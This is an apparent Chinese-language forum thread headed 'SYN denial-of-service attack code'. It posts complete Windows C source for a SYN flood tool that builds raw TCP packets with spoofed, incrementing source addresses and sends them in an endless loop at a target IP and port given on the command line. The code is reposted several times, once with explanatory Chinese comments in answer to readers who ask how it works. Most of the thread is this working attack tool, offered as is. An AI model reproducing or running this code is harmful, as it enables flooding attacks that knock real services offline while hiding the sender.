syn拒绝服务攻击代码#include <winsock2.h> #include <Ws2tcpip.h> #include <windows.h> #include <stdio.h> #pragma comment(lib,"ws2_32") #pragma comment(lib,"wsock32") #define FAKE_IP "201.79.131.18" #define SEQ 0x28376839 #define right "===============Coder Paris-ye====================\n" USHORT checksum(USHORT *buffer, int size); int flood(); typedef struct tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER; typedef struct iphdr { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; struct { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSD_HEADER; WSADATA wsaData; SOCKET sockMain = (SOCKET) NULL; int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0; unsigned short activPort=40000; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[128]; USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum >>16); return (USHORT)(~cksum); } int main(int argc,char* argv[]) { int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo; if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; ipheader.ttl = 128; ipheader.proto = IPPROTO_TCP; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start]...........\nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd...........\n"); return 0; } int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("\nCan't connect this IP!Pls check it.\n"); ExitThread(1); } // Sleep(1000); } return 0; } 收藏 分享 顶(0)
#pragma comment(lib,"ws2_32") #pragma comment(lib,"wsock32") #define FAKE_IP "201.79.131.18" #define SEQ 0x28376839 #define right "===============Coder Paris-ye====================\n" USHORT checksum(USHORT *buffer, int size); int flood();
typedef struct tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER;
typedef struct iphdr { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER;
struct { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSD_HEADER;
WSADATA wsaData; SOCKET sockMain = (SOCKET) NULL; int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0; unsigned short activPort=40000; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[128];
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum >>16); return (USHORT)(~cksum); }
int main(int argc,char* argv[]) { int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo;
if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]);
memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet);
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; ipheader.ttl = 128; ipheader.proto = IPPROTO_TCP; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(argv[1]);
tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start]...........\nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd...........\n");
return 0; }
int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("\nCan't connect this IP!Pls check it.\n"); ExitThread(1); } // Sleep(1000); } return 0; }
能把这段代码的原理解释一下吗？看不太懂
里面的那个IP是指什么？？
好很棒啊
#include <winsock2.h> #include <Ws2tcpip.h> #include <windows.h> #include <stdio.h> //加载头文件就和导入包类一样 #pragma comment(lib,"ws2_32") #pragma comment(lib,"wsock32") #define FAKE_IP "201.79.131.18" //ip地址随便 #define SEQ 0x28376839 #define right "===============Coder Paris-ye====================\n" //预定义 USHORT checksum(USHORT *buffer, int size); int flood(); typedef struct tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER; //定义结构用于存放tcp头部 typedef struct iphdr { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; struct { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSD_HEADER; WSADATA wsaData; SOCKET sockMain = (SOCKET) NULL; int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0; unsigned short activPort=40000; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; //和mew类一样 char sendBuf[128]; USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT); } //校验 if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum >>16); return (USHORT)(~cksum); } int main(int argc,char* argv[]) { int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo; if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); //建立raw socket连接 if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; //协议簇 windows专用的AF_INET sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; //标志位 ipheader.ttl = 128; //存活时间 ipheader.proto = IPPROTO_TCP; //tcp ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); //源地址 ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; //ack位 tcp3次握手 tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start]...........\nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd...........\n"); return 0; } int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("无法连接次地址。请检查并更正\n"); ExitThread(1); } } return 0; } 加了点注释，还有什么 不清楚的 就说
int main(int argc,char* argv[]) { int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo; if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); //建立raw socket连接 if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; //协议簇 windows专用的AF_INET sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; //标志位 ipheader.ttl = 128; //存活时间 ipheader.proto = IPPROTO_TCP; //tcp ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); //源地址 ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; //ack位 tcp3次握手 tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start]...........\nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd...........\n"); return 0; }
int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("无法连接次地址。请检查并更正\n"); ExitThread(1); }
} return 0; } 加了点注释，还有什么 不清楚的 就说
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2007/10/26 21:11:00
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syn拒绝服务攻击代码
